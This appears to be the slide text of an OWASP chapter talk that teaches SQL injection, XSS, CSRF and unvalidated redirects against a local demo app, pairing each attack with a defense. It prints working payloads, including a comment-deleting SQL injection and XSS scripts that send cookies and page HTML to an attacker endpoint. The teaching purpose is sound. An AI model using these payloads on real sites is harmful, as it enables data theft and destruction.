Introduction to Application Security

& OWASP Top 10 Risks

Part 2

OWASP Top 10 (2013)

• A1 – Injection
• A2 – Broken Authentication and Session Management
• A3 – Cross-Site Scripting (XSS)
• A4 – Insecure Direct Object References
• A5 – Security Misconfiguration
• A6 – Sensitive Data Exposure
• A7 – Missing Function Level Access Control
• A8 - Cross-Site Request Forgery (CSRF)
• A9 - Using Components with Known Vulnerabilities
• A10 – Unvalidated Redirects and Forwards

Agenda

• A1 – Injection
• A2 – Broken Authentication and Session Management
• A3 – Cross-Site Scripting (XSS)
• A4 – Insecure Direct Object References
• A5 – Security Misconfiguration
• A6 – Sensitive Data Exposure
• A7 – Missing Function Level Access Control
• A8 - Cross-Site Request Forgery (CSRF)
• A9 - Using Components with Known Vulnerabilities
• A10 – Unvalidated Redirects and Forwards

A1 – Injection

“Injection flaws occur when an application sends untrusted data to an interpreter.” (OWASP Top 10)

interpret(code + input + moreCode);
	

The interpreter can't tell code and input apart

SQL Injection Attack

INSERT INTO comments VALUES ('Hello', '');
	

INSERT INTO comments VALUES (''', '');
	

INSERT INTO comments VALUES ('Look I am a mod!', 'John'); --', '');
	

INSERT INTO comments VALUES ('Uh oh...', '');
	delete from comments;--', '');
	

How do we prevent this?

Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(
		"INSERT INTO comments VALUES (' "
		+ comment.getComment()
		+ " ', ' "
		+ comment.getUsername()
		+ " ');");
	

Problem: User input is treated as SQL (even though it's enclosed in single quotes)

SQL Injection Defense

Parameterized Queries

PreparedStatement stmt = conn.prepareStatement(
		"INSERT INTO comments VALUES (?, ?)");
stmt.setString(1, comment.getComment());
stmt.setString(2, comment.getUsername());
stmt.execute();
	

Which version of the code is cleaner?

Questions?

Other Forms of Injection

• Mail Header Injection
• Command Line Injection
• XPath Injection
• LDAP Injection
• ...and many more

A3 - Cross-Site Scripting (XSS)

“XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content.” (OWASP Top 10)

Does this sound a little familiar?

Persistent XSS Attack

Hello
	

<b>Interesting...<b>
	

<script>alert(":P")</script>
	

<script>var img = new Image();
	img.src = "http://localhost:8080/mal/?"
	+ document.cookie;</script>
	

Fortunately, in this case, the session ID is HttpOnly.
However, an attacker could use this approach to exfiltrate user-specific site content. For example:

<script>document.addEventListener("DOMContentLoaded", function(e) {
	var img = new Image();
	img.src = "http://localhost:8080/mal/?html="
		+ encodeURIComponent(document.documentElement.innerHTML);});
</script>
	

How do we prevent this?

<% for (Comment comment : comments) { %>
    <%= comment.getComment() %>
<% } %>
	

Problem: User input is treated as HTML

XSS Defense

HTML Escaping

<% for (Comment comment : comments) { %>
    <%= StringEscapeUtils.escapeHtml4(
     comment.getComment()) %>
<% } %>
	

Questions?

Bonus: Reflected XSS Attack

http://localhost:8080/appsecdemo/error.jsp?error=;)
		

http://localhost:8080/appsecdemo/error.jsp?
	error=<script>alert(":)");</script>
		

http://localhost:8080/appsecdemo/error.jsp?
	error=<script>window.location=
	"http://localhost:8080/mal/";</script>
		

Note: Some browsers will block this

A8 - Cross-Site Request Forgery (CSRF)

“Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated.” (OWASP Wiki)

CSRF GET Attack

http://localhost:8080/appsecdemo/AddUser?name=BadGuy
		

What happens if an attacker hits this link?

What about a moderator?

How do we prevent this?

???

(Surface) Problem: We're allowing GET requests to AddUser

We should fix this, but that's not good enough!

CSRF POST Attack

1. Attacker makes a copy of addUser.jsp: http://localhost:8080/mal/form1.html
2. Adds a default username to the form: http://localhost:8080/mal/form2.html
3. And makes the form submit on load: http://localhost:8080/mal/form3.html

How do we prevent this?

<form action="/appsecdemo/AddUser" method="POST">
	<input type="text" name="name">
	<button type="submit">Add</button>
</form>
	

CSRF Defense

• Synchronizer Tokens
• Verify Origin or Referer Header
• Custom HTTP Headers (for Web Services)
• CAPTCHAs

Note: Most of these defenses can be circumvented if there are XSS vulnerabilites!

Questions?

A10 - Unvalidated Redirects and Forwards

“Applications frequently redirect users to other pages, or use internal forwards in a similar manner. Sometimes the target page is specified in an unvalidated parameter, allowing attackers to choose the destination page.” (OWASP Top 10)

Unvalidated Redirect Attack

How do we prevent this?

String destination = request.getParameter("destination");
...
response.sendRedirect(destination);
	

Problem: We're permitting any user provided destination

Unvalidated Redirect Defense

Don’t allow redirects, or validate destination parameters

String destination = "/appsecdemo/";
if ("addMod".equals(request.getParameter("destination"))) {
    destination += "addMod.jsp";
}
response.sendRedirect(destination);
	

Questions?

Next Steps

• Get involved in the Rochester OWASP Chapter
• OWASP Zed Attack Proxy
• OWASP ASVS
  

Thanks!

@JohnNKing
JohnNKing.com/slides/owasp2017
github.com/JohnNKing/appsecdemo

Thank you to our host Nixon Peabody LLP
Rochester Chapter of OWASP
OWASP Top 10 Project
OWASP CSRFGuard Project

Slides made with Reveal.js